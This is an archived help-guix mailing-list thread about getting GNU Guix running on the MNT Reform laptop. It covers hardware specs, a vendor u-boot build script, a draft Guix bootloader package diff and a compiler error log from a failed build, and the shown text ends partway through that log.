* Guix on the MNT Reform @ 2020-05-08 15:06 Christopher Lemmer Webber 2020-05-08 18:19 ` Simon Josefsson ` (6 more replies) 0 siblings, 7 replies; 31+ messages in thread From: Christopher Lemmer Webber @ 2020-05-08 15:06 UTC (permalink / raw) To: help-guix I'm very excited to see the MNT Reform launch: https://www.crowdsupply.com/mnt/reform https://www.crowdsupply.com/mnt/reform/updates/the-campaign-is-live Completely hackable laptop; all the designs (that are possible) are libre, and you can even 3d print to replace many of the parts. However my impression is that running Guix on ARM is not necessarily straightforward. I haven't tried it yet. Most important specs: CPU: NXP/Freescale i.MX8MQ with 4x ARM Cortex-A53 cores (1.5 GHz), 1x Cortex-M4F core. CPU and RAM are on exchangeable SO-DIMM sized module. RAM: 4GB LPDDR4 memory GPU: Vivante GC7000Lite GPU with mainline Linux drivers and OpenGL 2.1, ES 2.0 (My other main worry is: that's pretty light on RAM these days...! But hey, maybe incentive for me to cut the fat in the programs I use a bit more...) I am thinking of getting one and running Guix on it. It would be nice to know that I wouldn't be alone. :) Anyone else planning to get one and joing me on the journey on maybe the most hacker-oriented laptop ever? - Chris ^ permalink raw reply [flat|nested] 31+ messages in thread
* Re: Guix on the MNT Reform 2020-05-08 15:06 Guix on the MNT Reform Christopher Lemmer Webber @ 2020-05-08 18:19 ` Simon Josefsson 2020-05-09 13:03 ` Christopher Lemmer Webber 2020-05-08 18:30 ` Ekaitz Zarraga ` (5 subsequent siblings) 6 siblings, 1 reply; 31+ messages in thread From: Simon Josefsson @ 2020-05-08 18:19 UTC (permalink / raw) To: Christopher Lemmer Webber; +Cc: help-guix [-- Attachment #1: Type: text/plain, Size: 789 bytes --] Christopher Lemmer Webber <cwebber@dustycloud.org> writes: > I'm very excited to see the MNT Reform launch: > > https://www.crowdsupply.com/mnt/reform > https://www.crowdsupply.com/mnt/reform/updates/the-campaign-is-live > > Completely hackable laptop; all the designs (that are possible) are > libre, and you can even 3d print to replace many of the parts. It looks quite expensive. Did you look at the Pinebook Pro? https://www.pine64.org/pinebook-pro/ https://store.pine64.org/?product=14%e2%80%b3-pinebook-pro-linux-laptop-64gb-emmc-iso-keyboard-estimated-dispatch-in-october-2019 I have ordered their Rockpro64 single-board computer to start Guix experimentation on it. It is an arm64 platform. https://store.pine64.org/?product=rockpro64-4gb-single-board-computer /Simon [-- Attachment #2: signature.asc --] [-- Type: application/pgp-signature, Size: 227 bytes --] ^ permalink raw reply [flat|nested] 31+ messages in thread
* Re: Guix on the MNT Reform 2020-05-08 18:19 ` Simon Josefsson @ 2020-05-09 13:03 ` Christopher Lemmer Webber 0 siblings, 0 replies; 31+ messages in thread From: Christopher Lemmer Webber @ 2020-05-09 13:03 UTC (permalink / raw) To: Simon Josefsson; +Cc: help-guix Simon Josefsson writes: > Christopher Lemmer Webber <cwebber@dustycloud.org> writes: > >> I'm very excited to see the MNT Reform launch: >> >> https://www.crowdsupply.com/mnt/reform >> https://www.crowdsupply.com/mnt/reform/updates/the-campaign-is-live >> >> Completely hackable laptop; all the designs (that are possible) are >> libre, and you can even 3d print to replace many of the parts. > > It looks quite expensive. Did you look at the Pinebook Pro? > > https://www.pine64.org/pinebook-pro/ > https://store.pine64.org/?product=14%e2%80%b3-pinebook-pro-linux-laptop-64gb-emmc-iso-keyboard-estimated-dispatch-in-october-2019 > > I have ordered their Rockpro64 single-board computer to start Guix > experimentation on it. It is an arm64 platform. > > https://store.pine64.org/?product=rockpro64-4gb-single-board-computer > > /Simon The Pinebook Pro is definitely amazingly cheap. The MNT Reform is trying to aim for something else though: something easily repairable and continuable by the community. ^ permalink raw reply [flat|nested] 31+ messages in thread
* Re: Guix on the MNT Reform 2020-05-08 15:06 Guix on the MNT Reform Christopher Lemmer Webber 2020-05-08 18:19 ` Simon Josefsson @ 2020-05-08 18:30 ` Ekaitz Zarraga 2020-05-08 18:52 ` Vagrant Cascadian ` (4 subsequent siblings) 6 siblings, 0 replies; 31+ messages in thread From: Ekaitz Zarraga @ 2020-05-08 18:30 UTC (permalink / raw) To: Christopher Lemmer Webber; +Cc: help-guix ‐‐‐‐‐‐‐ Original Message ‐‐‐‐‐‐‐ On Friday, May 8, 2020 5:06 PM, Christopher Lemmer Webber <cwebber@dustycloud.org> wrote: > I'm very excited to see the MNT Reform launch: > > https://www.crowdsupply.com/mnt/reform > https://www.crowdsupply.com/mnt/reform/updates/the-campaign-is-live > > Completely hackable laptop; all the designs (that are possible) are > libre, and you can even 3d print to replace many of the parts. > > However my impression is that running Guix on ARM is not necessarily > straightforward. I haven't tried it yet. > > Most important specs: > > CPU: NXP/Freescale i.MX8MQ with 4x ARM Cortex-A53 cores (1.5 GHz), > 1x Cortex-M4F core. CPU and RAM are on exchangeable SO-DIMM sized > module. > RAM: 4GB LPDDR4 memory > GPU: Vivante GC7000Lite GPU with mainline Linux drivers and OpenGL > 2.1, ES 2.0 > > (My other main worry is: that's pretty light on RAM these days...! > But hey, maybe incentive for me to cut the fat in the programs I use a > bit more...) > > I am thinking of getting one and running Guix on it. It would be nice > to know that I wouldn't be alone. :) Anyone else planning to get one > and joing me on the journey on maybe the most hacker-oriented laptop > ever? > > - Chris Hey Chris, It's a great project, I've been checking the schematics and stuff myself and I liked it a lot. It's a great reference design to build on top of. I can't afford one atm but I can do my best to help you play with it. I'm really interested on if it's able to run Guix and I'd like to know about your experience with it. Please keep me posted on your journey! Best, Ekaitz ^ permalink raw reply [flat|nested] 31+ messages in thread
* Re: Guix on the MNT Reform 2020-05-08 15:06 Guix on the MNT Reform Christopher Lemmer Webber 2020-05-08 18:19 ` Simon Josefsson 2020-05-08 18:30 ` Ekaitz Zarraga @ 2020-05-08 18:52 ` Vagrant Cascadian 2020-05-08 19:16 ` Leo Famulari 2020-05-08 20:44 ` John Soo ` (3 subsequent siblings) 6 siblings, 1 reply; 31+ messages in thread From: Vagrant Cascadian @ 2020-05-08 18:52 UTC (permalink / raw) To: Christopher Lemmer Webber, help-guix [-- Attachment #1: Type: text/plain, Size: 1612 bytes --] On 2020-05-08, Christopher Lemmer Webber wrote: > I'm very excited to see the MNT Reform launch: > > https://www.crowdsupply.com/mnt/reform > https://www.crowdsupply.com/mnt/reform/updates/the-campaign-is-live ... > Most important specs: > > CPU: NXP/Freescale i.MX8MQ with 4x ARM Cortex-A53 cores (1.5 GHz), > 1x Cortex-M4F core. CPU and RAM are on exchangeable SO-DIMM sized > module. The A53 cores are going to seem quite slow for guix, I would guess. I've run guix on a pinebook and pine64+ which also have quad-core A53 (although from a different vendor and less RAM) and the CPU was quite slow... On the plus side, the A53 cores are immune to most spectre/meltdown attacks! > RAM: 4GB LPDDR4 memory > GPU: Vivante GC7000Lite GPU with mainline Linux drivers and OpenGL > 2.1, ES 2.0 > > (My other main worry is: that's pretty light on RAM these days...! > But hey, maybe incentive for me to cut the fat in the programs I use a > bit more...) 4GB is fairly useable with guix on the Pinebook Pro, though it has some faster CPU cores as well. > I am thinking of getting one and running Guix on it. It would be nice > to know that I wouldn't be alone. :) Anyone else planning to get one > and joing me on the journey on maybe the most hacker-oriented laptop > ever? It's very tempting, but I have too many barely working experimental laptops already... and the price tag is a bit high. That the various parts are upgradable, at least in theory, is quite nice! I'd be curious what the power consumption profile is like at idle and full load... live well, vagrant [-- Attachment #2: signature.asc --] [-- Type: application/pgp-signature, Size: 227 bytes --] ^ permalink raw reply [flat|nested] 31+ messages in thread
* Re: Guix on the MNT Reform 2020-05-08 18:52 ` Vagrant Cascadian @ 2020-05-08 19:16 ` Leo Famulari 0 siblings, 0 replies; 31+ messages in thread From: Leo Famulari @ 2020-05-08 19:16 UTC (permalink / raw) To: Vagrant Cascadian; +Cc: help-guix On Fri, May 08, 2020 at 11:52:51AM -0700, Vagrant Cascadian wrote: > On the plus side, the A53 cores are immune to most spectre/meltdown > attacks! Yes, a mixed blessing, to be sure! Cortex-A53 is an in-order CPU design. ^ permalink raw reply [flat|nested] 31+ messages in thread
* Re: Guix on the MNT Reform 2020-05-08 15:06 Guix on the MNT Reform Christopher Lemmer Webber ` (2 preceding siblings ...) 2020-05-08 18:52 ` Vagrant Cascadian @ 2020-05-08 20:44 ` John Soo 2020-09-02 22:22 ` Andreas Enge ` (2 subsequent siblings) 6 siblings, 0 replies; 31+ messages in thread From: John Soo @ 2020-05-08 20:44 UTC (permalink / raw) To: Christopher Lemmer Webber; +Cc: help-guix Hey there, I am definitely interested in the Reform. Can we see if we can work out something in advance? The ship date is tentatively in December 2020. - John ^ permalink raw reply [flat|nested] 31+ messages in thread
* Re: Guix on the MNT Reform 2020-05-08 15:06 Guix on the MNT Reform Christopher Lemmer Webber ` (3 preceding siblings ...) 2020-05-08 20:44 ` John Soo @ 2020-09-02 22:22 ` Andreas Enge 2020-09-13 14:10 ` Andreas Enge 2021-08-17 17:24 ` Christine Lemmer-Webber 2021-08-18 0:36 ` Jonathan McHugh 6 siblings, 1 reply; 31+ messages in thread From: Andreas Enge @ 2020-09-02 22:22 UTC (permalink / raw) To: Christopher Lemmer Webber; +Cc: help-guix Hello Chris, On Fri, May 08, 2020 at 11:06:04AM -0400, Christopher Lemmer Webber wrote: > I'm very excited to see the MNT Reform launch: thanks for bringing it to my attention! It looks quite exciting indeed. > However my impression is that running Guix on ARM is not necessarily > straightforward. I haven't tried it yet. I have been using it on a Novena (which has the "predecessor" board i.MX6, a 32 bit architecture, and does feel very slow; I am assuming the new board will be much faster), and on the Overdrive, which we use as a build server. Guix as a package manager is easy, but I am not very knowledgeable on how to install the complete system. From what I understand, they use a stock Linux 5.7.0 kernel and publish a kernel config file; we should be able to produce this for Guix with linux-libre. > CPU: NXP/Freescale i.MX8MQ with 4x ARM Cortex-A53 cores (1.5 GHz), > 1x Cortex-M4F core. CPU and RAM are on exchangeable SO-DIMM sized > module. > RAM: 4GB LPDDR4 memory > GPU: Vivante GC7000Lite GPU with mainline Linux drivers and OpenGL > 2.1, ES 2.0 > (My other main worry is: that's pretty light on RAM these days...! > But hey, maybe incentive for me to cut the fat in the programs I use a > bit more...) There is a project to develop an LS1028A module with two A72 cores and up to 16 GB RAM: https://nlnet.nl/project/MNT-Reform/ It is expected to be more expensive and to not be available before next year. So maybe it will be possible to upgrade, depending on how long the adventure will last - I was a bit disappointed that the Novena has been a one-shot experience. And there is the EOMA68, which has not materialised. Oh, and one big drawback: The HDMI output requires a proprietary firmware blob. Given that I am using my laptop mainly for working attached to a large screen, that is a big problem. Since you posted your message, there has been a librelounge podcast, which I have not yet listened to: https://librelounge.org/episodes/39-mnt-reform-with-lukas-hartmann.html Andreas ^ permalink raw reply [flat|nested] 31+ messages in thread
* Re: Guix on the MNT Reform 2020-09-02 22:22 ` Andreas Enge @ 2020-09-13 14:10 ` Andreas Enge 2020-09-15 3:23 ` Fredrik Salomonsson 0 siblings, 1 reply; 31+ messages in thread From: Andreas Enge @ 2020-09-13 14:10 UTC (permalink / raw) To: Christopher Lemmer Webber; +Cc: help-guix On Thu, Sep 03, 2020 at 12:22:27AM +0200, Andreas Enge wrote: > On Fri, May 08, 2020 at 11:06:04AM -0400, Christopher Lemmer Webber wrote: > > I'm very excited to see the MNT Reform launch: > thanks for bringing it to my attention! It looks quite exciting indeed. And I just ordered one through work. Judging by the postings on Mastodon, it looks like it will be delivered on time, still this year. Are there other Guix users who ordered such a machine? Andreas ^ permalink raw reply [flat|nested] 31+ messages in thread
* Re: Guix on the MNT Reform 2020-09-13 14:10 ` Andreas Enge @ 2020-09-15 3:23 ` Fredrik Salomonsson 0 siblings, 0 replies; 31+ messages in thread From: Fredrik Salomonsson @ 2020-09-15 3:23 UTC (permalink / raw) To: Andreas Enge, Christopher Lemmer Webber; +Cc: help-guix Hi Andreas, Andreas Enge <andreas@enge.fr> writes: > Are there other Guix users who ordered such a machine? I was debating it back and forth after I saw the first email from Christopher. And a week or so before they reached their goal I took the plunge and ordered one. Should be a fun laptop to hack on. -- s/Fred[re]+i[ck]+/Fredrik/g ^ permalink raw reply [flat|nested] 31+ messages in thread
* Re: Guix on the MNT Reform 2020-05-08 15:06 Guix on the MNT Reform Christopher Lemmer Webber ` (4 preceding siblings ...) 2020-09-02 22:22 ` Andreas Enge @ 2021-08-17 17:24 ` Christine Lemmer-Webber 2021-08-17 23:49 ` Fredrik Salomonsson 2021-08-18 0:36 ` Jonathan McHugh 6 siblings, 1 reply; 31+ messages in thread From: Christine Lemmer-Webber @ 2021-08-17 17:24 UTC (permalink / raw) Cc: help-guix Hi! Well my MNT Reform arrived. I'd like to start putting Guix on it but I'm kind of low on time right now... I wonder if anyone else has started making progress towards this? What I'd love: a tutorial that says "here are the steps to make an sd card you can boot your reform with"! Christopher Lemmer Webber writes: > I'm very excited to see the MNT Reform launch: > > https://www.crowdsupply.com/mnt/reform > https://www.crowdsupply.com/mnt/reform/updates/the-campaign-is-live > > Completely hackable laptop; all the designs (that are possible) are > libre, and you can even 3d print to replace many of the parts. > > However my impression is that running Guix on ARM is not necessarily > straightforward. I haven't tried it yet. > > Most important specs: > > CPU: NXP/Freescale i.MX8MQ with 4x ARM Cortex-A53 cores (1.5 GHz), > 1x Cortex-M4F core. CPU and RAM are on exchangeable SO-DIMM sized > module. > RAM: 4GB LPDDR4 memory > GPU: Vivante GC7000Lite GPU with mainline Linux drivers and OpenGL > 2.1, ES 2.0 > > (My other main worry is: that's pretty light on RAM these days...! > But hey, maybe incentive for me to cut the fat in the programs I use a > bit more...) > > I am thinking of getting one and running Guix on it. It would be nice > to know that I wouldn't be alone. :) Anyone else planning to get one > and joing me on the journey on maybe the most hacker-oriented laptop > ever? > > - Chris ^ permalink raw reply [flat|nested] 31+ messages in thread
* Re: Guix on the MNT Reform 2021-08-17 17:24 ` Christine Lemmer-Webber @ 2021-08-17 23:49 ` Fredrik Salomonsson 2021-09-05 1:31 ` Christine Lemmer-Webber 0 siblings, 1 reply; 31+ messages in thread From: Fredrik Salomonsson @ 2021-08-17 23:49 UTC (permalink / raw) To: Christine Lemmer-Webber; +Cc: help-guix Hi Chris, Christine Lemmer-Webber <cwebber@dustycloud.org> writes: > Hi! Well my MNT Reform arrived. I'd like to start putting Guix on it > but I'm kind of low on time right now... I got mine last week! > I wonder if anyone else has started making progress towards this? > What I'd love: a tutorial that says "here are the steps to make an sd > card you can boot your reform with"! I'm planning to start hacking on that once I've found a NVMe that works. The XPG SX8200 Pro 1TB I bought for it had serious issues with access times. Next up is to buy a WD Blue SN550 1TB and hopefully that will work. -- s/Fred[re]+i[ck]+/Fredrik/g ^ permalink raw reply [flat|nested] 31+ messages in thread
* Re: Guix on the MNT Reform 2021-08-17 23:49 ` Fredrik Salomonsson @ 2021-09-05 1:31 ` Christine Lemmer-Webber 2021-09-06 17:07 ` Christine Lemmer-Webber 2021-09-07 4:36 ` Denis 'GNUtoo' Carikli 0 siblings, 2 replies; 31+ messages in thread From: Christine Lemmer-Webber @ 2021-09-05 1:31 UTC (permalink / raw) To: Fredrik Salomonsson; +Cc: help-guix Fredrik Salomonsson <plattfot@posteo.net> writes: > Christine Lemmer-Webber <cwebber@dustycloud.org> writes: > >> Hi! Well my MNT Reform arrived. I'd like to start putting Guix on it >> but I'm kind of low on time right now... > > I got mine last week! Neat! >> I wonder if anyone else has started making progress towards this? > >> What I'd love: a tutorial that says "here are the steps to make an sd >> card you can boot your reform with"! > > I'm planning to start hacking on that once I've found a NVMe that works. > The XPG SX8200 Pro 1TB I bought for it had serious issues with access > times. Next up is to buy a WD Blue SN550 1TB and hopefully that will > work. Cool! Hope it gets up and running soon. In the meanwhile, some local notes... It looks like the relevant info to get going is here: https://mntre.com/reform2/handbook/advanced.html#system-boot There's a script to compile a custom u-boot: https://source.mnt.re/reform/reform-system-image/-/blob/main/reform2-imx8mq/mkuboot.sh #+BEGIN_SRC bash if [ ! -d u-boot ] then echo "Cloning U-Boot..." git clone --depth 1 https://source.mnt.re/reform/reform-boundary-uboot.git u-boot fi cd u-boot cp mntreform-config .config export CROSS_COMPILE=aarch64-linux-gnu- export ARCH=arm # build rescue u-boot first (loads kernel from eMMC) make -j$(nproc) flash.bin KCPPFLAGS='-DMNTREFORM_BOOT_EMMC' cp flash.bin flash-rescue.bin # build normal u-boot second (loads kernel from SD card) make -j$(nproc) flash.bin cd .. #+END_SRC So that doesn't look to complicated. Here's the custom u-boot: https://source.mnt.re/reform/reform-boundary-uboot It says: "Fork of the vendor (Boundary Devices) u-boot for Reform 2, with minor tweaks. The goal is to migrate to mainstream u-boot or barebox ASAP. The main impediment so far is the 4GB RAM config." So we probably want to make a u-boot-mnt-reform in gnu/packages/bootloaders.scm So we probably want to use "guix system image" and then add: gnu/system/images/mnt-reform.scm Ideally in the end we should be able to do: guix system image --image-type=mnt-reform my-os.scm So yeah, the rest of the pieces to figuring it out seem to be all here: https://mntre.com/reform2/handbook/advanced.html#system-boot It *seems* like this should all be possible... - Christine ^ permalink raw reply [flat|nested] 31+ messages in thread
* Re: Guix on the MNT Reform 2021-09-05 1:31 ` Christine Lemmer-Webber @ 2021-09-06 17:07 ` Christine Lemmer-Webber 2021-09-06 19:37 ` Fredrik Salomonsson 2021-09-07 4:36 ` Denis 'GNUtoo' Carikli 1 sibling, 1 reply; 31+ messages in thread From: Christine Lemmer-Webber @ 2021-09-06 17:07 UTC (permalink / raw) Cc: help-guix Christine Lemmer-Webber <cwebber@dustycloud.org> writes: > Cool! Hope it gets up and running soon. In the meanwhile, some local > notes... > > It looks like the relevant info to get going is here: > > https://mntre.com/reform2/handbook/advanced.html#system-boot > > There's a script to compile a custom u-boot: > > https://source.mnt.re/reform/reform-system-image/-/blob/main/reform2-imx8mq/mkuboot.sh > > #+BEGIN_SRC bash > if [ ! -d u-boot ] > then > echo "Cloning U-Boot..." > git clone --depth 1 https://source.mnt.re/reform/reform-boundary-uboot.git u-boot > fi > > cd u-boot > cp mntreform-config .config > > export CROSS_COMPILE=aarch64-linux-gnu- > export ARCH=arm > > # build rescue u-boot first (loads kernel from eMMC) > make -j$(nproc) flash.bin KCPPFLAGS='-DMNTREFORM_BOOT_EMMC' > cp flash.bin flash-rescue.bin > > # build normal u-boot second (loads kernel from SD card) > make -j$(nproc) flash.bin > > cd .. > #+END_SRC > > So that doesn't look to complicated. > > Here's the custom u-boot: > > https://source.mnt.re/reform/reform-boundary-uboot > > It says: > > "Fork of the vendor (Boundary Devices) u-boot for Reform 2, with > minor tweaks. The goal is to migrate to mainstream u-boot or barebox > ASAP. The main impediment so far is the 4GB RAM config." > > So we probably want to make a u-boot-mnt-reform in > gnu/packages/bootloaders.scm > > So we probably want to use "guix system image" and then add: > > gnu/system/images/mnt-reform.scm > > Ideally in the end we should be able to do: > > guix system image --image-type=mnt-reform my-os.scm > > So yeah, the rest of the pieces to figuring it out seem to be all here: > > https://mntre.com/reform2/handbook/advanced.html#system-boot > > It *seems* like this should all be possible... > > - Christine Here's the progress I've made so far: #+BEGIN_SRC diff diff --git a/gnu/packages/bootloaders.scm b/gnu/packages/bootloaders.scm index 2889a90d54..17a7abc657 100644 --- a/gnu/packages/bootloaders.scm +++ b/gnu/packages/bootloaders.scm @@ -953,6 +953,38 @@ to Novena upstream, does not load u-boot.img from the first partition.") `(("firmware" ,arm-trusted-firmware-rk3399) ,@(package-native-inputs base)))))) +(define-public u-boot-mnt-reform2 + (let ((base (make-u-boot-package "mnt-reform2" "aarch64-linux-gnu")) + (commit "bdcdce7434b9db19aabd59181014f24d66af0db8")) + (package + (inherit base) + (version "2021.06") + (name "u-boot-mnt-reform2") + (source (origin + (method git-fetch) + (uri (git-reference + (url "https://source.mnt.re/reform/reform-boundary-uboot.git") + (commit commit))) + (file-name (git-file-name name version)) + (sha256 + (base32 + "1pwmcaaxx5zvn26gznwz4rjki4w3wwfzdnipxfr7d8067fmwgjp3")))) + (arguments + (substitute-keyword-arguments (package-arguments base) + ((#:phases phases) + `(modify-phases ,phases + (replace 'configure + (lambda _ + (copy-file "mntreform-config" ".config"))) + + ;; Phases do not succeed on the bl31 ELF. + #;(delete 'strip) + #;(delete 'validate-runpath))))) + #;(native-inputs + `(("firmware" ,arm-trusted-firmware-rk3399) + ,@(package-native-inputs base)))) + )) + (define-public vboot-utils (package (name "vboot-utils") #+END_SRC However, I hit this error when trying to compile: #+BEGIN_VERBATIM starting phase `build' HOSTCC scripts/basic/fixdep In file included from /gnu/store/dj05znzsk7fq43zj5r719ll8ldgh9xxi-u-boot-mnt-reform2-2021.06-checkout/include/stdlib.h:9:0, from scripts/basic/fixdep.c:112: /gnu/store/dj05znzsk7fq43zj5r719ll8ldgh9xxi-u-boot-mnt-reform2-2021.06-checkout/include/malloc.h:875:22: error: missing binary operator before token "(" #if CONFIG_IS_ENABLED(SYS_MALLOC_SIMPLE) ^ In file included from scripts/basic/fixdep.c:113:0: /gnu/store/dj05znzsk7fq43zj5r719ll8ldgh9xxi-u-boot-mnt-reform2-2021.06-checkout/include/stdio.h:18:14: error: expected declaration specifiers or '...' before numeric constant int __printf(1, 2) printf(const char *fmt, ...); ^ /gnu/store/dj05znzsk7fq43zj5r719ll8ldgh9xxi-u-boot-mnt-reform2-2021.06-checkout/include/stdio.h:18:17: error: expected declaration specifiers or '...' before numeric constant int __printf(1, 2) printf(const char *fmt, ...); ^ /gnu/store/dj05znzsk7fq43zj5r719ll8ldgh9xxi-u-boot-mnt-reform2-2021.06-checkout/include/stdio.h:53:14: error: expected declaration specifiers or '...' before numeric constant int __printf(2, 3) fprintf(int file, const char *fmt, ...); ^ /gnu/store/dj05znzsk7fq43zj5r719ll8ldgh9xxi-u-boot-mnt-reform2-2021.06-checkout/include/stdio.h:53:17: error: expected declaration specifiers or '...' before numeric constant int __printf(2, 3) fprintf(int file, const char *fmt, ...); ^ scripts/basic/fixdep.c: In function 'usage': scripts/basic/fixdep.c:130:2: warning: implicit declaration of function 'fprintf' [-Wimplicit-function-declaration] fprintf(stderr, "Usage: fixdep <depfile> <target> <cmdline>\n"); ^~~~~~~ scripts/basic/fixdep.c:130:2: warning: incompatible implicit declaration of built-in function 'fprintf' scripts/basic/fixdep.c:130:2: note: include '<stdio.h>' or provide a declaration of 'fprintf' scripts/basic/fixdep.c:130:10: warning: passing argument 1 of 'fprintf' makes pointer from integer without a cast [-Wint-conversion] fprintf(stderr, "Usage: fixdep <depfile> <target> <cmdline>\n"); ^~~~~~ scripts/basic/fixdep.c:130:10: note: expected 'void *' but argument is of type 'int' scripts/basic/fixdep.c:131:2: warning: implicit declaration of function 'exit' [-Wimplicit-function-declaration] exit(1); ^~~~ scripts/basic/fixdep.c:131:2: warning: incompatible implicit declaration of built-in function 'exit' scripts/basic/fixdep.c:131:2: note: include '<stdlib.h>' or provide a declaration of 'exit' scripts/basic/fixdep.c: In function 'print_cmdline': scripts/basic/fixdep.c:139:2: warning: implicit declaration of function 'printf' [-Wimplicit-function-declaration] printf("cmd_%s := %s\n\n", target, cmdline); ^~~~~~ scripts/basic/fixdep.c:139:2: warning: incompatible implicit declaration of built-in function 'printf' scripts/basic/fixdep.c:139:2: note: include '<stdio.h>' or provide a declaration of 'printf' scripts/basic/fixdep.c: In function 'define_config': scripts/basic/fixdep.c:185:3: warning: implicit declaration of function 'perror'; did you mean 'strerror'? [-Wimplicit-function-declaration] perror("fixdep:malloc"); ^~~~~~ strerror scripts/basic/fixdep.c:186:3: warning: incompatible implicit declaration of built-in function 'exit' exit(1); ^~~~ scripts/basic/fixdep.c:186:3: note: include '<stdlib.h>' or provide a declaration of 'exit' scripts/basic/fixdep.c: In function 'use_config': scripts/basic/fixdep.c:208:2: warning: incompatible implicit declaration of built-in function 'printf' printf(" $(wildcard include/config/"); ^~~~~~ scripts/basic/fixdep.c:208:2: note: include '<stdio.h>' or provide a declaration of 'printf' scripts/basic/fixdep.c:215:3: warning: implicit declaration of function 'putchar' [-Wimplicit-function-declaration] putchar(c); ^~~~~~~ scripts/basic/fixdep.c: In function 'do_config_file': scripts/basic/fixdep.c:302:3: warning: incompatible implicit declaration of built-in function 'fprintf' fprintf(stderr, "fixdep: error opening config file: "); ^~~~~~~ scripts/basic/fixdep.c:302:3: note: include '<stdio.h>' or provide a declaration of 'fprintf' scripts/basic/fixdep.c:302:11: warning: passing argument 1 of 'fprintf' makes pointer from integer without a cast [-Wint-conversion] fprintf(stderr, "fixdep: error opening config file: "); ^~~~~~ scripts/basic/fixdep.c:302:11: note: expected 'void *' but argument is of type 'int' scripts/basic/fixdep.c:304:3: warning: incompatible implicit declaration of built-in function 'exit' exit(2); ^~~~ scripts/basic/fixdep.c:304:3: note: include '<stdlib.h>' or provide a declaration of 'exit' scripts/basic/fixdep.c:307:3: warning: incompatible implicit declaration of built-in function 'fprintf' fprintf(stderr, "fixdep: error fstat'ing config file: "); ^~~~~~~ scripts/basic/fixdep.c:307:3: note: include '<stdio.h>' or provide a declaration of 'fprintf' scripts/basic/fixdep.c:307:11: warning: passing argument 1 of 'fprintf' makes pointer from integer without a cast [-Wint-conversion] fprintf(stderr, "fixdep: error fstat'ing config file: "); ^~~~~~ scripts/basic/fixdep.c:307:11: note: expected 'void *' but argument is of type 'int' scripts/basic/fixdep.c:309:3: warning: incompatible implicit declaration of built-in function 'exit' exit(2); ^~~~ scripts/basic/fixdep.c:309:3: note: include '<stdlib.h>' or provide a declaration of 'exit' scripts/basic/fixdep.c: In function 'parse_dep_file': scripts/basic/fixdep.c:387:7: warning: incompatible implicit declaration of built-in function 'printf' printf("source_%s := %s\n\n", ^~~~~~ scripts/basic/fixdep.c:387:7: note: include '<stdio.h>' or provide a declaration of 'printf' scripts/basic/fixdep.c:394:6: warning: incompatible implicit declaration of built-in function 'printf' printf(" %s \\\n", s); ^~~~~~ scripts/basic/fixdep.c:394:6: note: include '<stdio.h>' or provide a declaration of 'printf' scripts/basic/fixdep.c:406:3: warning: incompatible implicit declaration of built-in function 'fprintf' fprintf(stderr, "fixdep: parse error; no targets found\n"); ^~~~~~~ scripts/basic/fixdep.c:406:3: note: include '<stdio.h>' or provide a declaration of 'fprintf' scripts/basic/fixdep.c:406:11: warning: passing argument 1 of 'fprintf' makes pointer from integer without a cast [-Wint-conversion] fprintf(stderr, "fixdep: parse error; no targets found\n"); ^~~~~~ scripts/basic/fixdep.c:406:11: note: expected 'void *' but argument is of type 'int' scripts/basic/fixdep.c:407:3: warning: incompatible implicit declaration of built-in function 'exit' exit(1); ^~~~ scripts/basic/fixdep.c:407:3: note: include '<stdlib.h>' or provide a declaration of 'exit' scripts/basic/fixdep.c:410:2: warning: incompatible implicit declaration of built-in function 'printf' printf("\n%s: $(deps_%s)\n\n", target, target); ^~~~~~ scripts/basic/fixdep.c:410:2: note: include '<stdio.h>' or provide a declaration of 'printf' scripts/basic/fixdep.c: In function 'print_deps': scripts/basic/fixdep.c:422:3: warning: incompatible implicit declaration of built-in function 'fprintf' fprintf(stderr, "fixdep: error opening depfile: "); ^~~~~~~ scripts/basic/fixdep.c:422:3: note: include '<stdio.h>' or provide a declaration of 'fprintf' scripts/basic/fixdep.c:422:11: warning: passing argument 1 of 'fprintf' makes pointer from integer without a cast [-Wint-conversion] fprintf(stderr, "fixdep: error opening depfile: "); ^~~~~~ scripts/basic/fixdep.c:422:11: note: expected 'void *' but argument is of type 'int' scripts/basic/fixdep.c:424:3: warning: incompatible implicit declaration of built-in function 'exit' exit(2); ^~~~ scripts/basic/fixdep.c:424:3: note: include '<stdlib.h>' or provide a declaration of 'exit' scripts/basic/fixdep.c:427:3: warning: incompatible implicit declaration of built-in function 'fprintf' fprintf(stderr, "fixdep: error fstat'ing depfile: "); ^~~~~~~ scripts/basic/fixdep.c:427:3: note: include '<stdio.h>' or provide a declaration of 'fprintf' scripts/basic/fixdep.c:427:11: warning: passing argument 1 of 'fprintf' makes pointer from integer without a cast [-Wint-conversion] fprintf(stderr, "fixdep: error fstat'ing depfile: "); ^~~~~~ scripts/basic/fixdep.c:427:11: note: expected 'void *' but argument is of type 'int' scripts/basic/fixdep.c:429:3: warning: incompatible implicit declaration of built-in function 'exit' exit(2); ^~~~ scripts/basic/fixdep.c:429:3: note: include '<stdlib.h>' or provide a declaration of 'exit' scripts/basic/fixdep.c:432:3: warning: incompatible implicit declaration of built-in function 'fprintf' fprintf(stderr,"fixdep: %s is empty\n",depfile); ^~~~~~~ scripts/basic/fixdep.c:432:3: note: include '<stdio.h>' or provide a declaration of 'fprintf' scripts/basic/fixdep.c:432:11: warning: passing argument 1 of 'fprintf' makes pointer from integer without a cast [-Wint-conversion] fprintf(stderr,"fixdep: %s is empty\n",depfile); ^~~~~~ scripts/basic/fixdep.c:432:11: note: expected 'void *' but argument is of type 'int' scripts/basic/fixdep.c: In function 'traps': scripts/basic/fixdep.c:456:3: warning: incompatible implicit declaration of built-in function 'fprintf' fprintf(stderr, "fixdep: sizeof(int) != 4 or wrong endianness? %#x\n", ^~~~~~~ scripts/basic/fixdep.c:456:3: note: include '<stdio.h>' or provide a declaration of 'fprintf' scripts/basic/fixdep.c:456:11: warning: passing argument 1 of 'fprintf' makes pointer from integer without a cast [-Wint-conversion] fprintf(stderr, "fixdep: sizeof(int) != 4 or wrong endianness? %#x\n", ^~~~~~ scripts/basic/fixdep.c:456:11: note: expected 'void *' but argument is of type 'int' scripts/basic/fixdep.c:458:3: warning: incompatible implicit declaration of built-in function 'exit' exit(2); ^~~~ scripts/basic/fixdep.c:458:3: note: include '<stdlib.h>' or provide a declaration of 'exit' make[2]: *** [scripts/Makefile.host:97: scripts/basic/fixdep] Error 1 make[1]: *** [Makefile:411: scripts_basic] Error 2 make: *** No rule to make target 'include/config/auto.conf', needed by 'include/config/uboot.release'. Stop. command "make" "-j" "8" "HOSTCC=gcc" "CROSS_COMPILE=aarch64-linux-gnu-" failed with status 2 note: keeping build directory `/tmp/guix-build-u-boot-mnt-reform2-2021.06.drv-1' builder for 